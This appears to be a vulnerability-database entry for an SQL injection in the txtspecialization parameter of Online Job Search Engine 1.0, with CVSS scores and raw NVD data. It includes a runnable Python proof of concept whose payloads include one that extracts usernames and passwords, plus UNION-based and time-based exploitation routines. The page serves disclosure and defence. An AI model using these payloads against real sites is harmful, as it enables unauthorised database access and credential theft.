Security Vulnerability Report
中文
CVE-2025-11584 CVSS 7.3 HIGH

CVE-2025-11584

Published: 2025-10-10 21:16:06
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability has been found in code-projects Online Job Search Engine 1.0. The affected element is an unknown function of the file /searchjob.php. The manipulation of the argument txtspecialization leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fabian:online_job_search_engine:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Online Job Search Engine 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11584 - SQL Injection PoC for Online Job Search Engine 1.0 # Vulnerable file: /searchjob.php # Vulnerable parameter: txtspecialization import requests import sys TARGET_URL = "http://target.com/searchjob.php" def test_sql_injection(target_url): """Test for SQL injection vulnerability in txtspecialization parameter""" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' -- ", "' UNION SELECT 1,2,3,4,5-- ", "' UNION SELECT username,password,3,4,5 FROM users-- ", "1' AND (SELECT SLEEP(5))-- ", "' AND 1=CONVERT(int,(SELECT @@version))-- " ] for payload in payloads: params = {"txtspecialization": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error messages sql_errors = ["SQL syntax", "MySQL", "mysql_fetch", "Warning", "error in your SQL"] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[+] SQL Error detected: {error}") print(f"[+] VULNERABLE to SQL injection!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_union_based(target_url, table_name="users", column_count=5): """Exploit using UNION-based SQL injection to extract data""" # Build UNION SELECT payload columns = ",".join([str(i) for i in range(1, column_count + 1)]) payload = f"' UNION SELECT {columns} FROM {table_name}-- -" params = {"txtspecialization": payload} response = requests.get(target_url, params=params, timeout=10) print(f"[+] Extracting data from {table_name}...") print(response.text) return response.text def exploit_time_based(target_url, query="SELECT @@version"): """Exploit using time-based blind SQL injection""" payload = f"1' AND IF(1=1,SLEEP(5),0)-- " import time start_time = time.time() params = {"txtspecialization": payload} response = requests.get(target_url, params=params, timeout=15) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") return True return False if __name__ == "__main__": url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Testing SQL injection on: {url}") if test_sql_injection(url): print("[+] Target is vulnerable!") # Uncomment to extract data # exploit_union_based(url) # exploit_time_based(url) else: print("[-] Target may not be vulnerable or payload needs adjustment") # Usage: python poc.py http://target.com/searchjob.php # Manual test URL: # http://target.com/searchjob.php?txtspecialization=' OR '1'='1

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11584", "sourceIdentifier": "[email protected]", "published": "2025-10-10T21:16:05.907", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in code-projects Online Job Search Engine 1.0. The affected element is an unknown function of the file /searchjob.php. The manipulation of the argument txtspecialization leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_job_search_engine:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "37150FD4-5368-4C2C-A205-2F93718B673D"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/xupeng02/cve/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327906", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327906", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.671558", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}